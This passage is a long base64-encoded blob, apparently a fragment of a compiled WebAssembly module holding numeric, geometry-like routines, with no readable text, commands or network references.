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EANgIQIAMgBjYCDCADIAU2AgggB0H0////BUsNAyAFQQR0IgRBAEgNAyAHQfX///8FSUECdCECIAQEfyAEIAIQ0AoFIAILIgFFDQEgAyABNgIcIAMgBTYCGAJAIAdBDU8EQCAFQQFrIghBB3EhBCAFQQJrIgxBB08EQCAIQXhxIQIDQCABQv////v///+/fzcCCCABQv////v3//+//wA3AgAgAUH4AGpC////+////79/NwIAIAFB8ABqQv////v3//+//wA3AgAgAUHoAGpC////+////79/NwIAIAFB4ABqQv////v3//+//wA3AgAgAUHYAGpC////+////79/NwIAIAFB0ABqQv////v3//+//wA3AgAgAUHIAGpC////+////79/NwIAIAFBQGtC////+/f//7//ADcCACABQThqQv////v///+/fzcCACABQTBqQv////v3//+//wA3AgAgAUEoakL////7////v383AgAgAUEgakL////79///v/8ANwIAIAFBGGpC////+////79/NwIAIAFBEGpC////+/f//7//ADcCACABQYABaiEBIAJBCGsiAg0ACyABQRBrIQILIAQEQANAIAFC////+////79/NwIIIAFC////+/f//7//ADcCACABQRBqIQEgBEEBayIEDQALIAFBEGshAgsgAUL////79///v/8ANwIAIAJBGGpC////+////79/NwIAIAMgBTYCICAHQfn///8HTw0FIAdBBBDQCiIJRQ0BIAhBA3EhBCAJIQEgDEEDTwRAIAhBfHEhAgNAIAFCfzcCCCABQQA6AAQgAUF/NgIAIAFBLGpBfzYCACABQShqQQA6AAAgAUEgakJ/NwIAIAFBHGpBADoAACABQRRqQn83AgAgAUEQakEAOgAAIAFBMGohASACQQRrIgINAAsLIARFDQYDQCABQX82AgggAUEAOgAEIAFBfzYCACABQQxqIQEgBEEBayIEDQALDAYLIAFC////+////79/NwIIIAFC////+/f//7//ADcCACADIAU2AiAgB0EEENAKIgkiAQ0FCyAHQQRBwMPDACgCACIAQaQGIAAbEQAAAAsgAkEEQcDDwwAoAgAiAEGkBiAAGxEAAAALIAQgAkHAw8MAKAIAIgBBpAYgABsRAAAACyADQQA2AhAgA0KAgICAwAA3AwggA0EANgIgIANCgICAgMAANwMYQQQhBkEEIQkMAgsQigkACyABQX82AgggAUEAOgAEIAFBfzYCAAsgACgCNARAIABBOGooAgAQhwELIAAgBTYCNCAAQTxqIgwgBTYCACAAQThqIg0gCTYCAAJAAkACQCAFBH8gByAKaiEPIABByABqIRAgAEHEAGohESAAQTRqIRJBACEJQQAhBANAAkACQAJAIAooAgAiASAQKAIAIgJJBEAgCigCBCIIIAJPDQEgCigCCCIGIAJPDQIgBEEBaiEHIBEoAgAiAiAGQQN0aikCACIap74hFSACIAhBA3RqKQIAIhunviIUIAIgAUEDdGopAgAiHKe+IhZeIQIgFSAVIBQgFCAWIAIbIBYgFlwbIhcgFSAXXhsgFyAXXBshGCAWIBYgFCACGyAUIBRcGyIUIBQgFSAUIBVdGyAVIBVcGyEZIBtCIIinviIUIBxCIIinviIWXiECIBpCIIinviIVIBUgFCAUIBYgAhsgFiAWXBsiFyAVIBdeGyAXIBdcGyEXIBYgFiAUIAIbIBQgFFwbIhQgFCAVIBQgFV0bIBUgFVwbIRUgBCAFSQ0DIAAoAjQgBSICayAHIAJrIghJBEAgEiAFIAgQtQQgDCgCACECCyANKAIAIAJBDGxqIQEgCEECTwRAIAQgBWsiBkEDcSELIAQgBUF/c2pBA08EQCAGQXxxIQYDQCABQn83AgggAUEAOgAEIAFBfzYCACABQSxqQX82AgAgAUEoakEAOgAAIAFBIGpCfzcCACABQRxqQQA6AAAgAUEUakJ/NwIAIAFBEGpBADoAACABQTBqIQEgBkEEayIGDQALCyALBEAgDiAFa0EDcSEGA0AgAUF/NgIIIAFBADoABCABQX82AgAgAUEMaiEBIAZBAWsiBg0ACwsgAiAIakEBayECCyAFIAdHBEAgAUF/NgIIIAFBADoABCABQX82AgAgAkEBaiECCyAMIAIiBTYCACADAn8gByADKAIgIgggBEsNABogByAIIgJrIQsgCyADKAIYIAJrSwRAIANBGGogCCALELkEIAMoAiAhAgsgAygCHCACQQR0aiEBIAtBAk8EQCAEIAhrIgZBB3EhEyAEIAhBf3NqQQdPBEAgBkF4cSEGA0AgAUL////7////v383AgggAUL////79///v/8ANwIAIAFB+ABqQv////v///+/fzcCACABQfAAakL////79///v/8ANwIAIAFB6ABqQv////v///+/fzcCACABQeAAakL////79///v/8ANwIAIAFB2ABqQv////v///+/fzcCACABQdAAakL////79///v/8ANwIAIAFByABqQv////v///+/fzcCACABQUBrQv////v3//+//wA3AgAgAUE4akL////7////v383AgAgAUEwakL////79///v/8ANwIAIAFBKGpC////+////79/NwIAIAFBIGpC////+/f//7//ADcCACABQRhqQv////v///+/fzcCACABQRBqQv////v3//+//wA3AgAgAUGAAWohASAGQQhrIgYNAAsLIBMEQCAJIAhrQQdxIQYDQCABQv////v///+/fzcCCCABQv////v3//+//wA3AgAgAUEQaiEBIAZBAWsiBg0ACwsgAiALakEBayECCyACIAcgCEYNABogAUL////7////v383AgggAUL////79///v/8ANwIAIAJBAWoLNgIgDAMLIAEgAkGE0MIAEKMHAAsgCCACQZTQwgAQowcACyAGIAJBpNDCABCjBwALIAQgBU8NAiANKAIAIARBDGxqIAQ2AgggAygCICICIARNDQMgCkEMaiEKIAMoAhwgBEEEdGoiAiAXOAIMIAIgGDgCCCACIBU4AgQgAiAZOAIAIAMoAhAiASADKAIIRgRAIANBCGogARC9BCADKAIQIQELIAMoAgwiBiABQQJ0aiAENgIAIAMgAUEBajYCECAJQQFqIQkgDkEBaiEOIAchBCAKIA9HDQALIABBGGooAgAFQQALIQEgASAAQRBqIgIoAgBGBEAgAiABEMUEIABBGGooAgAhAQsgAEEYaiIFIAFBAWo2AgAgAEEUaiIHKAIAIAFB4ABsaiICQn83AkQgAkEBNgJAIAJC////+////79/NwM4IAJC////+////79/NwMwIAJC////+////79/NwMoIAJC////+////79/NwMgIAJC////+/f//7//ADcDGCACQv////v3//+//wA3AxAgAkL////79///v/8ANwMIIAJC////+/f//7//ADcDACACQQA6AFQgAkEAOgBYIAJBzABqQn83AgAgA0EoaiAAIANBB2ogBiADKAIQIANBGGpBAEEAEDggAykCLCEaIAAgA0E0aikCACIbNwIIIAAgGjcCACAFKAIARQ0CIAcoAgAiACAaPgIAIABB////ezYCPCAAQv////v///+/fzcCNCAAIBtCIIg+AjAgAEH///97NgIsIABC////+////79/NwIkIAAgGz4CICAAQf////sHNgIcIABC////+/f//7//ADcCFCAAIBpCIIg+AhAgAEH////7BzYCDCAAQv////v3//+//wA3AgQgAygCGARAIAMoAhwQhwELIAMoAggEQCAGEIcBCyADQUBrJAAPCyAEIAVB6IPCABCjBwALIAQgAkH4g8IAEKMHAAtBAEEAQdiDwgAQowcAC8gTAyJ/CX0JfiMAQYACayIFJAAgBSACNgJIIAUgATYCRCAFIAQ6AEwgBSADOAJAIAUgAioCDCInOAI8IAUgJzgCOCAFICc4AjQgBSAnOAIwIAUgAioCCCInOAIsIAUgJzgCKCAFICc4AiQgBSAnOAIgIAUgAikCACIwpyIENgIMIAUgBDYCCCAFIAQ2AgQgBSAENgIAIAUgMEIgiKciBDYCHCAFIAQ2AhggBSAENgIUIAUgBDYCEAJAAkAgAUEYaigCACITBEAgBUEANgJYIAVCgICAgMAANwNQIAVB0ABqIgRBABC/BEEDIRQgBSgCVCAFKAJYIgdBA3RqQoCAgIDw////fjcCACAFIAdBAWo2AlggBUHgAGogBBCAAgJAIAUoAmBBAUcNACAFQfABakEEciEZIAVB8ABqQQRyIRpD//9/fyEnIAFBFGohHiABQTxqIRsgAUHUAGohDCABQdAAaiENIAFByABqIQ4gAUHEAGohDyABQThqIR8CQAJAA0AgJyAFKgJojF8NAwJAAkACQCAFKAJkIgEgE0kEQCAeKAIAIAFB4ABsaiIJLQBYQQFxIgcEQCAfKAIAIgEgCSgCQCIEQQxsakEAIAQgGygCACIESRsiBkEIakEAIAYbIRUgASAJQcwAaigCACIGQQxsakEAIAQgBksbIgZBCGpBACAGGyEWIAEgCUHIAGooAgAiBkEMbGpBACAEIAZLGyIGQQhqQQAgBhshFyABIAlBxABqKAIAIgZBDGxqQQAgBCAGSxsiAUEIakEAIAEbIRALIAUgAzgC/AEgBSADOAL4ASAFIAM4AvQBIAUgAzgC8AEgBUHwAGogCSAFIAVB8AFqEJ0BIAVB2AFqIg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